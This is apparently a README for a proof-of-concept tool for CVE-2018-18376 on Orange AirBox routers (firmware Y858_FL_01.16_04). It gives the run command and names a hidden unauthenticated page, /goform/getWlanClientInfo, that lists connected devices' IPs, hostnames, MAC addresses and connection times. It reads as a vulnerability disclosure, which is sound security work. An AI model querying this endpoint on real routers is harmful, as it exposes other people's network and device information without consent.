AirboxLeak

Proof of Concept of AirBoxLeak Vulnerability.
CVE-2018-18376

How to use

AsusLeak.py
python AirBoxLeak.py -ip 192.168.1.1
IP, HOSTNAME, MAC ADDRESS, CONNECTION TIME

How it works

AirBox has hidden webpage http://192.168.1.1/goform/getWlanClientInfo?rand= which prints currently connected devices ip,hostnames,mac addresses and connection time.

Router information

Router: AirBox Vendor: Orange Firmware version: Y858_FL_01.16_04